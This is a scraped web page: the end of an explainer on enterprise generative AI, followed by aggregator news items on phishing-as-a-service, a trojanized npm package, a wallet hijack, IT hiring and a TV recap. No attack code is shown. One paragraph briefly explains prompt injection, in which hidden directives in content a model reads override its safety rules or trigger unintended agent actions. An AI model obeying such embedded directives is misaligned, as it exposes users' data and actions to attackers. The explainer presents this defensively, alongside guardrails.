<p class="wp-block-paragraph">These foundation models are the basis for most of the popular generative AI tools and services on the market today. They can be specialized in several ways:</p>



<ul class="wp-block-list">
<li><strong>Fine-tuning:</strong> Giving a foundation model further training on a smaller, task-specific dataset</li>



<li><strong>Retrieval-augmented generation</strong> <strong>(RAG):</strong> Giving the model the ability to pull in external knowledge when asked a question</li>



<li> <strong>Prompt engineering</strong>: Tailoring a query so the model gives the sort of answers you’re looking for.</li>
</ul>



<h2 class="wp-block-heading"><strong>How do AI systems write computer code?</strong></h2>



<p class="wp-block-paragraph">One of the surprising discoveries of the gen AI era was that in recent years was that foundation models trained on natural-language text can also, when fine-tuned with code examples, also write computer code — often better than many purpose-built systems. Still, it makes sense, when you think about it — after all, high-level computer languages are designed by humans and ultimately based on human language.</p>



<p class="wp-block-paragraph">This <a href="https://www.infoworld.com/article/2338500/llms-and-the-rise-of-the-ai-code-generators.html?utm_source=chatgpt.com">2023 InfoWorld article</a> highlights how models like PaLM, LLaMA and other transformer-based systems fine-tuned on code repositories propelled this shift, but since AI giants like <a href="https://www.computerworld.com/article/3843138/agentic-ai-ongoing-coverage-of-its-impact-on-the-enterprise.html">OpenAI</a> have moved into this space. This all matters because code generation (or code-assisted productivity) has become a key enterprise use case of generative AI — perhaps <em>the </em>key use, given the industry’s enthusiastic adoption of it.</p>



<h2 class="wp-block-heading"><strong>What are AI agents?</strong></h2>



<p class="wp-block-paragraph">So far, we’ve been talking about chatbots, writing assistants, image-generation tools. They respond to prompts, output text or images, and then stop. A new category of tool called <em><a href="https://www.computerworld.com/article/3843138/agentic-ai-ongoing-coverage-of-its-impact-on-the-enterprise.html">agentic AI</a></em> goes further: it <em>plans</em>, <em>executes</em>, and in many cases <em>learns</em> as it works.</p>



<p class="wp-block-paragraph">Because large models already understand language, code, and even structured data to some extent, they can be repurposed to generate not only descriptive text but <em>operational instructions</em>. For example: an agent might parse the intent “generate a sales-report”, then format internal calls like getData(salesDB, region=NA, period=lastQuarter), and then call an API, all by generating text that’s interpreted as instructions. The <a href="https://www.infoworld.com/article/4064169/how-mcp-is-making-ai-agents-actually-do-things-in-the-real-world.html.">MCP framework</a> standardizes the “language” of those instructions and the plug-points into tools and data so that the model doesn’t need bespoke integrations for each new workflow.</p>



<p class="wp-block-paragraph">These kinds of autonomous agents have several enterprise use cases:</p>



<ul class="wp-block-list">
<li><strong>Software automation</strong>: Agents that generate code, call unit tests, deploy builds, monitor logs and even roll back changes autonomously.</li>



<li><strong>Customer support</strong>: Instead of simply drafting responses, agents interact with CRM APIs, update ticket statuses, escalate issues, and trigger follow-up workflows.</li>



<li><strong>IT operations/AIOps</strong>: Agents <a href="https://www.cio.com/article/222623/7-things-to-know-about-ai-in-the-data-center.html">monitor infrastructure, identify anomalies, open/close tickets, or auto-remediate</a> based on defined rules and context from logs.</li>



<li><strong>Security</strong>: Agents may detect threats, initiate alerts, isolate compromised systems, or even attempt to manage threat containment — though this raises new risks.</li>
</ul>



<h2 class="wp-block-heading"><strong>How can you implement generative AI in the enterprise?</strong></h2>



<p class="wp-block-paragraph">We’ve now touched on <em>what</em> generative AI can do. But <em>how</em> can you make it work reliably in your business. The difference between a pilot and full-scale deployment often comes down to systems, structure and governance as much as to models themselves. <em>InfoWorld’</em>s Matt Asay offers a <a href="https://www.infoworld.com/article/4044919/enterprise-essentials-for-generative-ai.html">deep dive into enterprise gen AI essentials</a>, but here are some important points to keep in mind:</p>



<p class="wp-block-paragraph"><strong>Choosing between API, open-source or custom fine-tuned models. </strong>One of the first major decisions for any enterprise project is: do you use a model via an API (e.g., from a vendor like OpenAI or Anthropic), deploy an open-source model internally, or build/fine-tune a custom model yourself? Each has trade-offs.</p>



<p class="wp-block-paragraph">APIs offer speed and minimal setup, but may expose data, limit customization or accrue high cost — and will leave you at the mercy of your vendor. Open source allows internal control and may ease fine-tuning, but requires infrastructure, expertise, and support. Custom fine-tuning gives you the tightest alignment to your use-case, but lengthens time to value and increases risk.</p>



<p class="wp-block-paragraph"><strong>Governance, data privacy and compliance. </strong>Deploying generative AI in an enterprise setting raises new governance, privacy and regulatory issues. For example: Who owns the data that’s ingested? How is proprietary data protected if you call a third-party API? What traceability exists for model outputs—a huge question for regulated industries? One useful framework is covered in “A GRC framework for securing generative AI” Data governance <a href="https://www.infoworld.com/article/2336154/how-data-governance-must-evolve-to-meet-the-generative-ai-challenge.html">must adapt for the new era</a>,  and <a href="https://www.infoworld.com/article/3604732/a-grc-framework-for-securing-generative-ai.html">new frameworks are evolving to help</a>.</p>



<p class="wp-block-paragraph"><strong>Human-in-the-loop review. </strong>Even the best models make mistakes and cannot simply be put on autopilot. You need a <em>human-in-the-loop (HITL)</em> process: real people need to review outputs, validate for bias, approve high-stakes content, and tune prompts or models based on feedback. Incorporating HITL checkpoints helps mitigate risk and improve overall quality.</p>



<p class="wp-block-paragraph"><strong>Integration with existing systems and RAG pipelines. </strong><a href="https://www.infoworld.com/article/2337050/how-rag-completes-the-generative-ai-puzzle.html">Retrieval-augmented generation</a>, which we touched on earlier, connects foundation models into business workflows, systems, and enterprise data stores. RAG can bind LLMs to your organization’s internal knowledge bases, thereby reducing <em>hallucinations </em>(which we’ll discuss in a moment) and increasing the relevance of gen AI output.</p>



<aside class="sidebar">
<h3><strong> Implementation best practices for generative AI</strong></h3>
<p> Here are four AI best practices to keep in mind:</p>
<ol>
<li> Guardrails: Define clear operational boundaries. Examples: restrict sensitive data output, enforce access controls, log model interactions.</li>
<li> Prompt engineering: Because much of what the model will do depends on how it’s prompted, invest in prompt design, versioning, review, and testing.</li>
<li> Evaluation metrics: Define appropriate KPIs (accuracy, latency, cost, business outcome), monitor them and iterate.</li>
<li> Model observability: Treat generative-AI systems like software — monitor performance, detect drift, handle failures gracefully, audit outputs and maintain traceability.</li>
</ol>
</aside>




<h2 class="wp-block-heading"><strong>What causes AI hallucinations?</strong></h2>



<p class="wp-block-paragraph">Probably the biggest limitation of generative AI is what those in the industry call <em>hallucinations</em>, which is a perhaps misleading term for output that is, by the standards of humans who use it, false or incorrect.  </p>



<p class="wp-block-paragraph">Every generative AI system, no matter how advanced, is built around prediction. Remember, a model doesn’t truly <em>know</em> facts—it looks at a series of tokens, then calculates, based on analysis of its underlying training data, what token is most likely to come next. This is what makes the output fluent and human-like, but if its prediction is wrong, that will be perceived as a hallucination.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/10/GenAI_takeaways.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Table describing five key points about generatvie AI" class="wp-image-4082262" width="1024" height="648" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Generative AI, foundation models, agentic AI, governance, and implementation strategy top the list of top generative AI takeaways.</figcaption></figure><p class="imageCredit">Foundry</p></div>



<p class="wp-block-paragraph">Because the model doesn’t distinguish between something that’s known to be true and something likely to follow on from the input text it’s been given, hallucinations are a direct side effect of the statistical process that powers generative AI. And don’t forget that we’re often pushing AI models to come up with answers to questions that we, who also have access to that data, can’t answer ourselves.</p>



<p class="wp-block-paragraph">In text models, hallucinations might mean inventing quotes, fabricating references, or misrepresenting a technical process. In code or data analysis, it can produce <a href="https://www.infoworld.com/article/3822251/how-to-keep-ai-hallucinations-out-of-your-code.html">syntactically correct but logically wrong results</a>. Even RAG pipelines, which provide real data context to models, only <em>reduce</em> hallucination—they don’t eliminate it. Enterprises using generative AI need <a href="https://www.cio.com/article/4073606/reducing-llm-hallucinations-in-enterprise-systems.html">review layers, validation pipelines, and human oversight</a> to prevent these failures from spreading into production systems.</p>



<h2 class="wp-block-heading"><strong>What are some other problems with generative AI?</strong></h2>



<p class="wp-block-paragraph">Generative AI has proven to be such a disruptive technology that’s stoking near-apocalyptic fears that it will result in a superintelligence that will enslave or destroy humanity. Meanwhile, in the present day, increasingly troubling reports of so-called <a href="https://www.psychologytoday.com/us/blog/urban-survival/202507/the-emerging-problem-of-ai-psychosis">AI psychosis</a> are emerging, where people have mental health episodes triggered by the uncanny and sometimes sycophantic ways chatbots affirm whatever you talk to them about and try to keep the conversation going.</p>



<p class="wp-block-paragraph">Compared to such existential questions, the following business-related problems may seem petty. But they’re real issues for enterprises considering investing in AI tools.</p>



<ul class="wp-block-list">
<li><strong>Data leakage and regulatory risk. </strong>When a model is fine-tuned or prompted with sensitive information, that data may be memorized and unintentionally reproduced. Using <a href="https://www.csoonline.com/article/3819170/nearly-10-of-employee-gen-ai-prompts-include-sensitive-data.html">third-party APIs without strict controls</a> can expose proprietary or personally identifiable information (PII). Regulatory frameworks like GDPR and HIPAA require explicit governance around where training data resides and how inference results are stored.</li>



<li><strong>Prompt injection </strong>occurs when an attacker manipulates a model’s instructions—embedding hidden directives or malicious payloads in user input or external content the model reads. This can override safety rules, expose internal data, or execute unintended actions in agentic systems. Guardrails that sanitize inputs, restrict tool-calling permissions, and validate outputs are becoming essential.</li>



<li><strong>Copyright and content ownership. </strong>Many foundation models are trained on data scraped from the public internet, creating disputes over copyright and data provenance. Enterprises using generated output commercially need to confirm usage rights and review indemnity terms from vendors.</li>



<li><strong>Unrealistic productivity expectations. </strong>Finally, organizations sometimes expect generative AI to deliver instant productivity gains. The reality, it turns out, is more <a href="https://leaddev.com/velocity/ai-doesnt-make-devs-as-productive-as-they-think-study-finds">mixed</a>. Enterprise adoption requires infrastructure, governance, retraining, and cultural change. The models accelerate work once properly integrated, but they don’t automatically replace human judgment or oversight.</li>
</ul>



<p class="wp-block-paragraph">The current generation of enterprise AI systems includes several layers of defense against these risks:</p>



<ul class="wp-block-list">
<li><em>Guardrails</em> that constrain model behavior and filter unsafe outputs.</li>



<li><em>Model validation</em> frameworks that measure factual accuracy and consistency before deployment.</li>



<li><em>Policy layers</em> that enforce compliance rules, redact sensitive data, and log model actions.</li>
</ul>



<p class="wp-block-paragraph">These safeguards reduce—but don’t remove—the inherent uncertainty that defines generative AI.</p>



<h2 class="wp-block-heading"><strong>GenAI: essential for the enterprise</strong></h2>



<p class="wp-block-paragraph">Generative AI has evolved from a novelty into a core layer of enterprise technology. Foundation models and agentic systems now power automation, analytics, and creative workflows — but they remain fundamentally probabilistic tools. Their strength lies in scale and adaptability, not perfect understanding.</p>



<p class="wp-block-paragraph">For organizations, success depends less on chasing model breakthroughs than on integrating these systems responsibly: building guardrails, maintaining oversight, and aligning them with real business needs. Used wisely, generative AI can amplify human capability rather than replace it.</p>
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<title><![CDATA[Forg365 PhaaS Targets Microsoft 365 with Device Code and AitM Session Theft]]></title>
<description><![CDATA[A new phishing-as-a-service (PhaaS) operation called Forg365 is using a combination of device code phishing, adversary-in-the-middle (AitM) tactics, antibot evasion, artificial intelligence (AI)-assisted lure creation, and post-compromise mailbox operations targeting Microsoft 365 accounts.

Dist...]]></description>
<link>https://tsecurity.de/de/3665422/it-security-nachrichten/forg365-phaas-targets-microsoft-365-with-device-code-and-aitm-session-theft/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665422/it-security-nachrichten/forg365-phaas-targets-microsoft-365-with-device-code-and-aitm-session-theft/</guid>
<pubDate>Mon, 13 Jul 2026 15:38:34 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A new phishing-as-a-service (PhaaS) operation called Forg365 is using a combination of device code phishing, adversary-in-the-middle (AitM) tactics, antibot evasion, artificial intelligence (AI)-assisted lure creation, and post-compromise mailbox operations targeting Microsoft 365 accounts.

Distributed via Telegram and costing $400 a month (or $3,800 per year), attack chains leverage phishing]]></content:encoded>
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<title><![CDATA[Forg365 PhaaS Targets Microsoft 365 with Device Code and AitM Session Theft]]></title>
<description><![CDATA[A new phishing-as-a-service (PhaaS) operation called Forg365 is using a combination of device code phishing, adversary-in-the-middle (AitM) tactics, antibot evasion, artificial intelligence (AI)-assisted lure creation, and post-compromise mailbox operations targeting Microsoft 365 accounts. Distr...]]></description>
<link>https://tsecurity.de/de/3665413/it-security-nachrichten/forg365-phaas-targets-microsoft-365-with-device-code-and-aitm-session-theft/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665413/it-security-nachrichten/forg365-phaas-targets-microsoft-365-with-device-code-and-aitm-session-theft/</guid>
<pubDate>Mon, 13 Jul 2026 15:38:22 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A new phishing-as-a-service (PhaaS) operation called Forg365 is using a combination of device code phishing, adversary-in-the-middle (AitM) tactics, antibot evasion, artificial intelligence (AI)-assisted lure creation, and post-compromise mailbox operations targeting Microsoft 365 accounts. Distributed via Telegram and costing $400 a…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/forg365-phaas-targets-microsoft-365-with-device-code-and-aitm-session-theft/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/forg365-phaas-targets-microsoft-365-with-device-code-and-aitm-session-theft/">Forg365 PhaaS Targets Microsoft 365 with Device Code and AitM Session Theft</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Seed-Phrase-Leak ermöglicht Wallet-Hijack: Memecoin-Pump-and-Dump aufgedeckt]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Ein einmaliger Leak der Seed Phrase aus einer Live-Übertragung hat offenbar gereicht, um eine Krypto-Wallet komplett zu übernehmen. Der Angreifer orchestrierte zuerst einen Memecoin-Pump-and-Dump, ließ später auf der BNB Chain neue Token erscheinen und erhöhte das Volumen p...]]></description>
<link>https://tsecurity.de/de/3665332/it-security-nachrichten/seed-phrase-leak-ermoeglicht-wallet-hijack-memecoin-pump-and-dump-aufgedeckt/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665332/it-security-nachrichten/seed-phrase-leak-ermoeglicht-wallet-hijack-memecoin-pump-and-dump-aufgedeckt/</guid>
<pubDate>Mon, 13 Jul 2026 15:08:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-wallet-seed-phrase-hijack.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-wallet-seed-phrase-hijack.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-wallet-seed-phrase-hijack-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-wallet-seed-phrase-hijack-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-wallet-seed-phrase-hijack-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-wallet-seed-phrase-hijack-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-wallet-seed-phrase-hijack-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Ein einmaliger Leak der Seed Phrase aus einer Live-Übertragung hat offenbar gereicht, um eine Krypto-Wallet komplett zu übernehmen. Der Angreifer orchestrierte zuerst einen Memecoin-Pump-and-Dump, ließ später auf der BNB Chain neue Token erscheinen und erhöhte das Volumen per Wash Trading. Netzwerkseitige Sperren über die RPC-Integration können zwar weitere Bewegungen blockieren, die […]</p>
<div><a href="https://www.it-boltwise.de/seed-phrase-leak-ermoeglicht-wallet-hijack-memecoin-pump-and-dump-aufgedeckt.html">... den vollständigen Artikel <strong>»Seed-Phrase-Leak ermöglicht Wallet-Hijack: Memecoin-Pump-and-Dump aufgedeckt«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/seed-phrase-leak-ermoeglicht-wallet-hijack-memecoin-pump-and-dump-aufgedeckt.html">Seed-Phrase-Leak ermöglicht Wallet-Hijack: Memecoin-Pump-and-Dump aufgedeckt</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
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<title><![CDATA[It’s the perfect time of year for grabbing a cheap radio for the garden, and they don’t come much cuter, more packed with features or wallet-friendly than this]]></title>
<description><![CDATA[The Majority Mini Shelford is a compact, cheap, portable radio with screen that goes on sale in August.]]></description>
<link>https://tsecurity.de/de/3665063/it-nachrichten/its-the-perfect-time-of-year-for-grabbing-a-cheap-radio-for-the-garden-and-they-dont-come-much-cuter-more-packed-with-features-or-wallet-friendly-than-this/</link>
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<pubDate>Mon, 13 Jul 2026 13:18:01 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Majority Mini Shelford is a compact, cheap, portable radio with screen that goes on sale in August.]]></content:encoded>
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<title><![CDATA[IT hiring sees a boost as software development jobs slowly bounce back]]></title>
<description><![CDATA[Tech job postings rose for the sixth straight month in June, as employers are increasingly on the hunt for qualified talent to support major technological initiatives, according to the most recent CompTIA Tech Jobs Report.



“June’s employment data suggests that employers are ramping up their te...]]></description>
<link>https://tsecurity.de/de/3664702/it-nachrichten/it-hiring-sees-a-boost-as-software-development-jobs-slowly-bounce-back/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664702/it-nachrichten/it-hiring-sees-a-boost-as-software-development-jobs-slowly-bounce-back/</guid>
<pubDate>Mon, 13 Jul 2026 11:03:01 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>Tech job postings rose for the sixth straight month in June, as employers are increasingly on the hunt for qualified talent to support major technological initiatives, according to the most recent <a href="https://www.comptia.org/en-us/resources/research/tech-jobs-report/" rel="nofollow">CompTIA Tech Jobs Report</a>.</p>



<p>“June’s employment data suggests that employers are ramping up their technology investments and hiring the talent needed to support them,” said Seth Robinson, vice president for industry research at CompTIA, in a press release. “Even as some tech companies announce layoffs, employers in other industries are accelerating digital transformation initiatives and moving from AI experimentation to implementation.”</p>



<p><a href="https://www.dice.com/hiring/recruitment/reports/tech-hiring-myths-vs-reality" rel="nofollow">Data from Dice</a> supports this growth, with its report showing AI/ML job title postings up 173% year over year from Q1 2025 to Q1 2026 — roles that typically offer median salaries 22% higher than the overall IT market. Hiring for jobs in data analysis (10%), cybersecurity (4%), and IT support (1%) have also seen increases. Tech postings in the finance and banking industry are up 47%, with manufacturing IT jobs up by 27% and IT roles in the insurance, aerospace, and defense sectors up by 23%, pointing to growth for IT across a range of sectors.</p>



<p>Software development jobs, however, are still on the decline from last year, down 22% from 2025, according to Dice, but it looks like that trend may soon shift. Data from CompTIA shows that software developer and software engineer job postings were the top roles for June (49k postings), followed by systems engineer (36k), tech support specialist (27k), data analyst (21k), and DevOps engineer (19k).</p>



<p>The catalyst for sparking a boost in software development hiring can be attributed to the release of Claude Code in late February 2025, according to <a href="https://www.hiringlab.org/2026/07/08/ai-and-job-postings-from-destruction-to-creation/" rel="nofollow">data from the Indeed Hiring Lab</a>. Since Claude Code’s release, Indeed has tracked a rise of 15% for software development job postings in the US, despite overall job postings declining by 7%. The report highlights how this rebound comes after a “low starting point,” so while the increases seem high, <a href="https://www.cio.com/article/3951133/remember-when-developers-reigned-supreme-the-market-for-software-coding-goes-soft.html">it’s because they had a long way to go</a>.</p>



<p>Despite this increase in job postings, software development jobs still hover somewhere around 27.5% below their pre-pandemic levels, while overall job postings have remained relatively stable since 2020. It’s also important to note that 71% of the increase of software development job postings between May 2025 and May 2026 has been for senior-level roles, with 37% mentioning AI in the title.</p>



<p>This indicates that there is merit to the concerns around <a href="https://www.cio.com/article/4189865/how-ai-automation-is-reshaping-the-it-leadership-pipeline.html">how AI automation is reshaping the IT leadership pipeline</a>. IT leaders will need to <a href="https://www.cio.com/article/4188578/how-to-keep-your-it-talent-pipeline-from-collapsing.html">remain mindful of how AI impacts hiring</a> — and avoid leaving entry-level workers in the dust as hiring rebounds.</p>
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<title><![CDATA[Silo Season 3 Episode 2 Explains Why Memory Is the Show’s Deadliest Weapon]]></title>
<description><![CDATA[Silo Season 3 is using its flashbacks to reveal how memory became one of the most powerful weapons behind the creation and control of the silos.



Episode 2, “It’s All Good,” continues the season’s split-timeline structure, moving between Juliette Nichols in Silo 18 and events from more than 350...]]></description>
<link>https://tsecurity.de/de/3664576/ios-mac-os/silo-season-3-episode-2-explains-why-memory-is-the-shows-deadliest-weapon/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664576/ios-mac-os/silo-season-3-episode-2-explains-why-memory-is-the-shows-deadliest-weapon/</guid>
<pubDate>Mon, 13 Jul 2026 09:54:10 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Silo Season 3 is using its flashbacks to reveal how memory became one of the most powerful weapons behind the creation and control of the silos.



Episode 2, “It’s All Good,” continues the season’s split-timeline structure, moving between Juliette Nichols in Silo 18 and events from more than 350 years earlier. The season has turned its origin story into a political conspiracy involving Daniel Keene, Helen Drew, Charlotte Keene, and a government determined to hide the truth.



Charlotte and Juliette Are Living the Same Nightmare



Charlotte’s treatment introduces Dr. Victor Crnkovich, a specialist who claims he can remove painful memories and replace them with safer ones. His methods were reportedly tested on prisoners before being used to treat traumatised military personnel.



However, Charlotte’s condition suggests that the treatment has become a tool for controlling what people know. Someone has removed important parts of her past, especially her knowledge of the conflict involving Iran and the suspected dirty bomb attack.



Juliette faces a similar situation inside Silo 18. Camille and the Algorithm are using memory-altering drugs, edited recordings, and false accounts to convince her that the reality she remembers never happened. Her knowledge of Silo 17 and the outside world threatens the system that keeps the population obedient.



By placing these stories beside each other, Season 3 shows that the methods used inside the silo began long before the apocalypse. Charlotte and Juliette live centuries apart, but both women are trapped inside systems that rewrite their identities.



The Flashbacks Explain the Silo’s Resets



The Algorithm tells Camille that six population resets have already taken place, including one in Silo 18 around 140 years earlier. These resets likely involved more than stopping rebellions or replacing leaders.



They may have included drugging the water supply and erasing shared memories across the population. Crnkovich’s work provides a possible origin for the substances now being used against Juliette.



The drugs can remove older memories, but they cannot fully control how someone responds to new evidence. Juliette is already questioning the official story because parts of her memory continue to return. Charlotte may also recover enough information to expose what happened before the silos were activated.



Why the Pez Dispenser Matters



The duck Pez dispenser first appeared to be a simple object that survived from the old world. Season 3 now suggests that it carries a much deeper meaning. The premiere connected the same dispenser seen in the past to the relic later found inside Silo 18.



Physical objects can act as memory triggers. If Helen or Charlotte carried the dispenser into the silo, it may have helped someone preserve memories that the drugs were meant to erase.



This also explains why the authorities treat relics as dangerous objects. Relics provide evidence that the official version of history is incomplete. Some may even restore memories and reconnect people with truths hidden during previous resets.



The Flashbacks Could Reveal Who Created the Apocalypse



Helen’s investigation raises the possibility that the dirty bomb attack blamed on Iran was staged to justify a larger military response. If true, the disaster that forced humanity underground may have been planned rather than accidental.



The flashbacks are slowly showing how political manipulation, memory experiments, and the silo project became connected. Juliette’s story reveals the result of that plan, while Charlotte’s timeline shows how it started.



Season 3 still has several mysteries to solve, including the possible role of nanotechnology. However, the pattern is becoming clearer. The silos survive by controlling memory, destroying evidence, and removing anyone who remembers too much.]]></content:encoded>
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<title><![CDATA[IT Security News Hourly Summary 2026-07-13 09h : 7 posts]]></title>
<description><![CDATA[7 posts were published in the last hour 6:32 : Exposed Server Unmasks Evilginx Operators Stealing Microsoft 365 Sessions and OAuth Tokens 6:32 : Jscrambler npm Supply Chain Attack Steals Cloud Credentials and Crypto Wallet Secrets 6:32 : Cynative: Open-source…
Read more →
The post IT Security New...]]></description>
<link>https://tsecurity.de/de/3664475/it-security-nachrichten/it-security-news-hourly-summary-2026-07-13-09h-7-posts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664475/it-security-nachrichten/it-security-news-hourly-summary-2026-07-13-09h-7-posts/</guid>
<pubDate>Mon, 13 Jul 2026 09:07:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>7 posts were published in the last hour 6:32 : Exposed Server Unmasks Evilginx Operators Stealing Microsoft 365 Sessions and OAuth Tokens 6:32 : Jscrambler npm Supply Chain Attack Steals Cloud Credentials and Crypto Wallet Secrets 6:32 : Cynative: Open-source…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/it-security-news-hourly-summary-2026-07-13-09h-7-posts/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/it-security-news-hourly-summary-2026-07-13-09h-7-posts/">IT Security News Hourly Summary 2026-07-13 09h : 7 posts</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Jscrambler npm Supply Chain Attack Steals Cloud Credentials and Crypto Wallet Secrets]]></title>
<description><![CDATA[A malicious actor compromised the Jscrambler npm package and published several trojanized versions that included a hidden, cross-platform credential-stealing payload. The attack targeted developers, build pipelines, and CI/CD systems, where npm installations could access source code, cloud creden...]]></description>
<link>https://tsecurity.de/de/3664419/it-security-nachrichten/jscrambler-npm-supply-chain-attack-steals-cloud-credentials-and-crypto-wallet-secrets/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664419/it-security-nachrichten/jscrambler-npm-supply-chain-attack-steals-cloud-credentials-and-crypto-wallet-secrets/</guid>
<pubDate>Mon, 13 Jul 2026 08:37:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A malicious actor compromised the Jscrambler npm package and published several trojanized versions that included a hidden, cross-platform credential-stealing payload. The attack targeted developers, build pipelines, and CI/CD systems, where npm installations could access source code, cloud credentials, deployment tokens, and sensitive environment variables. Jscrambler npm Supply Chain Attack Socket’s Research Team detected the initial […]</p>
<p>The post <a href="https://gbhackers.com/jscrambler-npm-supply-chain-attack-steals-cloud-credentials/">Jscrambler npm Supply Chain Attack Steals Cloud Credentials and Crypto Wallet Secrets</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
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<title><![CDATA[Jscrambler npm Supply Chain Attack Steals Cloud Credentials and Crypto Wallet Secrets]]></title>
<description><![CDATA[A malicious actor compromised the Jscrambler npm package and published several trojanized versions that included a hidden, cross-platform credential-stealing payload. The attack targeted developers, build pipelines, and CI/CD systems, where npm installations could access source code, cloud creden...]]></description>
<link>https://tsecurity.de/de/3664413/it-security-nachrichten/jscrambler-npm-supply-chain-attack-steals-cloud-credentials-and-crypto-wallet-secrets/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664413/it-security-nachrichten/jscrambler-npm-supply-chain-attack-steals-cloud-credentials-and-crypto-wallet-secrets/</guid>
<pubDate>Mon, 13 Jul 2026 08:37:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A malicious actor compromised the Jscrambler npm package and published several trojanized versions that included a hidden, cross-platform credential-stealing payload. The attack targeted developers, build pipelines, and CI/CD systems, where npm installations could access source code, cloud credentials, deployment tokens,…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/jscrambler-npm-supply-chain-attack-steals-cloud-credentials-and-crypto-wallet-secrets/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/jscrambler-npm-supply-chain-attack-steals-cloud-credentials-and-crypto-wallet-secrets/">Jscrambler npm Supply Chain Attack Steals Cloud Credentials and Crypto Wallet Secrets</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Warum Identity Security über den Erfolg der EUDI Wallet entscheidet]]></title>
<description><![CDATA[Mit der European Digital Identity Wallet (EUDI Wallet) entsteht die Grundlage für ein europaweites digitales Identitätsökosystem. Bürger sollen künftig digitale Nachweise sicher speichern, verwalten und organisationsübergreifend nutzen können. Die politische Richtung ist vorgegeben. Ob die Wallet...]]></description>
<link>https://tsecurity.de/de/3664262/it-security-nachrichten/warum-identity-security-ueber-den-erfolg-der-eudi-wallet-entscheidet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664262/it-security-nachrichten/warum-identity-security-ueber-den-erfolg-der-eudi-wallet-entscheidet/</guid>
<pubDate>Mon, 13 Jul 2026 07:22:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1920" height="1080" src="https://www.it-daily.net/wp-content/uploads/2026/07/Identity-Security_shutterstock_2662948347.jpg" class="attachment-full size-full wp-post-image" alt="Identity Security" decoding="async" srcset="https://www.it-daily.net/wp-content/uploads/2026/07/Identity-Security_shutterstock_2662948347.jpg 1920w, https://www.it-daily.net/wp-content/uploads/2026/07/Identity-Security_shutterstock_2662948347-300x169.jpg 300w, https://www.it-daily.net/wp-content/uploads/2026/07/Identity-Security_shutterstock_2662948347-1024x576.jpg 1024w, https://www.it-daily.net/wp-content/uploads/2026/07/Identity-Security_shutterstock_2662948347-768x432.jpg 768w, https://www.it-daily.net/wp-content/uploads/2026/07/Identity-Security_shutterstock_2662948347-1536x864.jpg 1536w" sizes="(max-width: 1920px) 100vw, 1920px" title="Warum Identity Security über den Erfolg der EUDI Wallet entscheidet 1"></p>
    Mit der European Digital Identity Wallet (EUDI Wallet) entsteht die Grundlage für ein europaweites digitales Identitätsökosystem. Bürger sollen künftig digitale Nachweise sicher speichern, verwalten und organisationsübergreifend nutzen können. Die politische Richtung ist vorgegeben. Ob die Wallet Akzeptanz findet, entscheidet sich weniger regulatorisch als technisch. 

